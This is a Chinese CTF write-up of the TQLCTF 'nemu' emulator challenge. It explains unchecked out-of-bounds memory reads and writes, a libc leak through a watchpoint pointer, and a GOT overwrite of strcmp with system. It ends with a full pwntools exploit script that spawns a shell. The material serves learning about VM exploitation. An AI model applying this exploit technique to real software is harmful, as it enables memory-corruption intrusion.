tqlctf的nemu题目复现。开学了但是被疫情困在寝室,正好可以学习一番。主要基于官方wp。发现虚拟机很好的一点是会给源码。
题目分析 题目下载及exp
https://github.com/Nicholas-wei/pwn/tree/main/tqlctf/nemu
一道给了源码的虚拟机题。先看看有什么保护
没有PIE,got表也可写。
查看虚拟机源码,发现最主要的是这些指令
接下来一个一个函数看过来(好像操作系统)
cmd_help 根据参数,输出指令对应的用处说明。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 static int cmd_help (char *args) { char *arg = strtok(NULL , " " ); int i; if (arg == NULL ) { for (i = 0 ; i < NR_CMD; i ++) { printf ("%s - %s\n" , cmd_table[i].name, cmd_table[i].description); } } else { for (i = 0 ; i < NR_CMD; i ++) { if (strcmp (arg, cmd_table[i].name) == 0 ) { printf ("%s - %s\n" , cmd_table[i].name, cmd_table[i].description); return 0 ; } } printf ("Unknown command '%s'\n" , arg); } return 0 ; }
cmd_c 调用cpu_exec函数。这个函数比较复杂,不分析了
1 2 3 4 5 6 7 static int cmd_c (char *args) { cpu_exec(-1 ); return 0 ; }
cmd_si 其实相当于调用cpu_exec一共n次。
cmd_info 可以查看断点以及寄存器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 static int cmd_info (char *args) { if (args == NULL ) {printf ("Please input argument\n" ); return 0 ;} else { char *n_str = strtok(args, " " ); if (!strcmp (n_str,"r" )){ for (int i=0 ; i<8 ; i++){ printf ("%s:\t%#010x\t" , regsl[i], cpu.gpr[i]._32); printf ("\n" ); } } else if (!strcmp (n_str,"w" )){ list_watchpoint(); } } return 0 ; }
cmd_x 可以查看内存的值。这里很有意思,可以像gdb一样。不知道gdb是不是也是这样实现的?
这里注意,x并没有检查需要阅读的地址偏移量是否超出pmem的大小。如果超出可能岛主越界读。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 static int cmd_x (char *args) {if (args == NULL ){printf ("Please input argument\n" ); return 0 ;}else { printf ("%-10s\t%-10s\t%-10s\n" ,"Address" ,"DwordBlock" ,"DwordBlock" ); char *n_str = strtok(args, " " ); if (!memcmp (n_str,"0x" ,2 )){ long addr = strtol(n_str,NULL ,16 ); printf ("%#010x\t" ,(uint32_t )addr); printf ("%#010x\n" ,vaddr_read(addr,4 )); } else { int n = atoi(n_str); n_str = strtok(NULL , " " ); long addr = strtol(n_str,NULL , 16 ); while (n){ printf ("%#010x\t" ,(uint32_t )addr); for (int i=1 ; i<=2 ; i++){ printf ("%#010x\t" ,vaddr_read(addr,4 )); addr += 4 ; n--; if (n == 0 ) break ; } printf ("\n" ); } } } return 0 ;}
注意其中的vaddr_read
,提供了读取地址中的数值。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 uint32_t vaddr_read (vaddr_t addr, int len) { return paddr_read(addr, len); } uint32_t paddr_read (paddr_t addr, int len) { return pmem_rw(addr, uint32_t ) & (~0u >> ((4 - len) << 3 )); } #define pmem_rw(addr, type) *(type *)({\ guest_to_host(addr); \ }) #define guest_to_host(p) ((void *)(pmem + (unsigned)p))
这里的guest就是NEMU中运行的进程的地址。hosu时NEMU。可以看到关键在于pmem_rw
中对地址采取了解引用。而地址转换的具体过程就是((void *)(pmem + (unsigned)p))
。那么pmem是什么?我们合理猜测他是某个基地址。p就是偏移。向上追溯,p其实是addr,而后面的length似乎只是一个NEMU中地址长度数据。
1 2 #define PMEM_SIZE (128 * 1024 * 1024) uint8_t pmem[PMEM_SIZE] = {0 };
cnd_w 用来设置watchpoint
其中watchpoint的数据结构如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 typedef struct watchpoint { int NO; struct watchpoint *next ; char exp [30 ]; uint32_t old_val; uint32_t new_val; } WP;
以下是设置部分。大致是将WP转换成一个链表结构。其中我们的输入是一个表达式,最后将被算出来数值,放在wp->old_val中。表达式自身将被放在wp->exp中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 void set_watchpoint(char *args){ bool flag = true; uint32_t val = expr(args, &flag); if (!flag) { printf("You input an invalid expression, failed to create watchpoint!" ); return ; } WP *wp = new_wp(); wp->old_val = val; memcpy(wp->exp, args, 30 ); if (head == NULL) { wp->NO = 1 ; head = wp; } else { WP *wwp; wwp = head; while (wwp->next != NULL) { wwp = wwp->next ; } wp->NO = wwp->NO + 1 ; wwp->next = wp; } return ; }
cmd_p 用于打印变量数据,或者计算一些表达式的值。其中调用expr()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 static int cmd_p (char *args) { if (args == NULL ){printf ("Please input argument\n" ); return 0 ;} else { bool success = false ; uint32_t result = expr(args, &success); if (!success){ printf ("Wrong express!\n" ); return 0 ; } else { printf ("%#x\n" ,result); } } return 0 ; } uint32_t expr (char *e, bool *success) { if (!make_token(e)) { *success = false ; return 0 ; } else { for (int i=0 ; i<nr_token; i++){ if (tokens[i].type == '-' && ( i==0 || tokens[i-1 ].type == '+' \ || tokens[i-1 ].type == '-' || tokens[i-1 ].type == '*' \ || tokens[i-1 ].type == TK_EQ || tokens[i-1 ].type == TK_NQ \ || tokens[i-1 ].type == TK_AND || tokens[i-1 ].type == TK_OR\ || tokens[i-1 ].type == NOT|| tokens[i-1 ].type == NEG)){ tokens[i].type = NEG; } } for (int i=0 ; i<nr_token; i++){ if (tokens[i].type == '*' && ( i==0 || tokens[i-1 ].type == '+' \ || tokens[i-1 ].type == '-' || tokens[i-1 ].type == '*' \ || tokens[i-1 ].type == TK_EQ || tokens[i-1 ].type == TK_NQ \ || tokens[i-1 ].type == TK_AND || tokens[i-1 ].type == TK_OR\ || tokens[i-1 ].type == NOT || tokens[i-1 ].type == NEG ||tokens[i-1 ].type == DEREF)){ tokens[i].type = DEREF; } } *success = true ; return eval(0 ,nr_token-1 ); } }
设置和取消watchpoint的函数不详细写了。似乎没什么重要的。就是实现了一个储存观察点的链表结构。
cmd_set 可以用来设置内存。逻辑其实也不复杂,就是将目标地址和数据经过expr()计算后,调用之前的vaddr_write进行写入。这里似乎经过计算得到的data并没有设置大小。是否可以越过pmem越界写?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 static int cmd_set (char *args) { paddr_t dest_addr; uint32_t data; bool success = false ; if (args == NULL ) { printf ("Please input argument\n" ); return 0 ; } else { char *dest_addr_str = strtok(args, " " ); char *data_str = strtok(NULL , " " ); if ( (dest_addr_str==NULL ) || (data_str == NULL )){ printf ("wrong argument\n" ); return 0 ; } dest_addr = expr(dest_addr_str, &success); if (!success) { printf ("Wrong express!\n" ); return 0 ; } data = expr(data_str, &success); if (!success) { printf ("Wrong express!\n" ); return 0 ; } vaddr_write(dest_addr, 4 , data); return 0 ; } }
漏洞分析 个人认为漏洞还是集中在cmd_set、cmd_p这两个操作上。因为这个涉及和HOST的内存交互。也就是下面两个宏定义。
1 2 3 4 5 #define guest_to_host(p) ((void *)(pmem + (unsigned)p)) #define host_to_guest(p) ((paddr_t)((void *)p - (void *)pmem))
尝试调试程序。通过以下命令开启源码调试
1 (gdb) dir ./nemu_source_code/nemu
对比一下paddr_read的汇编和源码
rdi参数其实就是addr,也就是pmem中的偏移。以下0x6a3b80是pmem的地址。这里加上0x100001是寄存器rdi中的内容。
可以看到,对于pmem的大小范围内的数据并没有限制偏移(addr)大小。因此可以用上述两操作完成越界读写。
泄露libc地址 由于上述代码中限定了addr只能是无符号数字,而GOT表开始位置比0x6a3b80小很多,因此不能打印GOT表。
但是经过调试发现,在和pmem偏移为0x8001d88位置,存在libc相关信息
但是我们每次只能打印4字节。因此打印两遍即可。使用x指令的越界读即可完成。
1 2 3 4 5 6 7 8 9 10 send('x 0x8001d88' ) io.recvuntil(' ' ) libc_info1 = int (io.recvuntil('\n' ,drop=True ),16 ) send('x 0x8001d8c' ) io.recvuntil(' ' ) libc_info2 = int (io.recvuntil('\n' ,drop=True ),16 ) libc_info = (libc_info2 << 32 ) + (libc_info1) success("libc_info: " + hex (libc_info)) libc_base = libc_info - 0x3c4ce8 success("libc_base: " + hex (libc_base))
但是上述方法似乎仅在gdb连着的时候有效。还是第一次碰到这种问题。用gdb直接打开进程和用gdb.attach()打开进程结果会不一样,这里也才发现 。用gdb.attach打开时,上述内容全部为0,并且0x86a5900不可访问。
因此只能通过下面的方法,修改head指针为一个GOT地址,再打印出来。其中打印的时候调用如下函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 void list_watchpoint () { WP *head2 = head; if (head == NULL ) { printf ("No watch pint to delete\n" ); return ; } printf ("NO Expr Old Value New Value\n" ); while (head2){ printf ("%d %-18s %#x %#x\n" ,head2->NO,head2->exp ,head2->old_val,head2->new_val); head2 = head2->next; } return ; }
由于需要对内存解引用,我们要确保head2->exp是可以解引用的,并且head->next为NULL。head->next的偏移在0x4的位置,exp在0x4+0x8。
由此,我们只需要选择0x60eff8-0x4=0x60eff4(但是经过调试,发现很奇怪还是需要再减去0x4,这里是真的不知道为什么,反正调试的方法就是看next是不是0)
使用0x60eff0输出可以得到下图的结果。可以看到打印出的就是free的libc。这样我们可以获得一个libc
写入system 在利用set写入的时候碰到一些问题。就是发现往上层写GOT,无符号数不允许,但是往下写hook函数,又会超过32位大小范围。到这里有点卡住不会了。
其实在调试pmem后面地址的时候也有发现,可以用pmem修改任意全局变量的地址。其中set_watchpoint 的head指针也可以被改掉。
1 2 3 4 5 6 7 8 9 10 11 12 if (head == NULL ) { wp->NO = 1 ; head = wp; } typedef struct watchpoint { int NO; struct watchpoint *next ; char exp [30 ]; uint32_t old_val; uint32_t new_val; } WP;
注意到这里其实是head=wp,那么*head其实是wp->NO。这样就好办了,我们只需要设置head为某个GOT表的前面位置就行了。查看数据结构,只需要放在偏移为(-0x8+0x4)的地方即可。注意到我们只能写入到old_val地方(会检查是否能够求值,不能写入wp->exp)因此需要有一定的偏移。
然而,尝试了直接写入,因为首先不能直接写head(解引用next会导致出错)这个任意地址写也有点困难。看了wp才知道是真的有点难,利用了一段上面没有分析到的代码。
1 2 3 4 5 6 7 8 9 10 11 WP *new_wp () { if (free_ == NULL ){ assert(0 ); } WP *temp = free_; free_ = free_->next; temp->next = NULL ; return temp; }
这是当我们新建一个watch point时,nemu会先检查是不是有已经释放的,如果有就拿出来,对其进行写。似乎这里才是真正的任意地址写。而且free_也是一个全局变量
free_就在Head前面,也可以被操控。因此把free_改成我们想要写入的地址附近(这里似乎没有什么检查)可以通过调试看出来偏移为多少的地方可以写入数据。
当我们直接将free_写入strcmp时,可以看到如下偏移位置被写入了0xdeadbeef。因此我们将之前的位置改为-0x30即可在strcmp上写入0xdeadbeef。同时由于只能低地址写入,可以接应strcmp的高2字节,直接在后面写入system。
如下为成功改好了的GOT
之后直接info(/bin/sh)就能拿到一个shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *filename="./nemu" libc_name="./libc-2.23.so" io = process(filename) elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux' ,'split' ,'-hp' ,'60' ] def send (con ): io.recvuntil('(nemu)' ) io.sendline(con) def debug (breao=True ): cmd= "" cmd += "dir /home/nicholas/Desktop/pwn/tqlctf/nemu/nemu_source_code/nemu\n" cmd +="b vaddr_read\n" cmd +="b vaddr_write\n" cmd +="b paddr_read\n" cmd +="b paddr_write\n" cmd +="b cmd_set\n" cmd +="b cmd_w\n" gdb.attach(io,cmd) if (breao): send('x 0x100' ) send('set 0x8000448 0x60eff0' ) send('info w' ) io.recvuntil('0x' ) libc_info1 = int (io.recvuntil(' ' ,drop=True ),16 ) io.recvuntil('0x' ) libc_info2 = int (io.recvuntil('\n' ,drop=True ),16 ) libc_info = (libc_info2<<32 )+libc_info1 success("libc_info: " + hex (libc_info)) libc_base = libc_info - 0x084540 success("libc_base: " + hex (libc_base)) strcmp_got = 0x000000000060f0f0 system = (libc_base + libc.sym['system' ]) &0xffffffff target_addr = strcmp_got -0x30 send('set 0x8000448 0' ) send('set 0x8000440 0x%x' % target_addr) send('w 0x%x' % system) info("/bin/sh\x00" ) io.interactive()
总结一下:一个完全无限制的越界读写问题。但是看似简单,读写操作的时候还需要经过一些检查。很值得一做。很适合作为VM pwn的入门题目仔细分析(正好也有源码,漏洞很经典)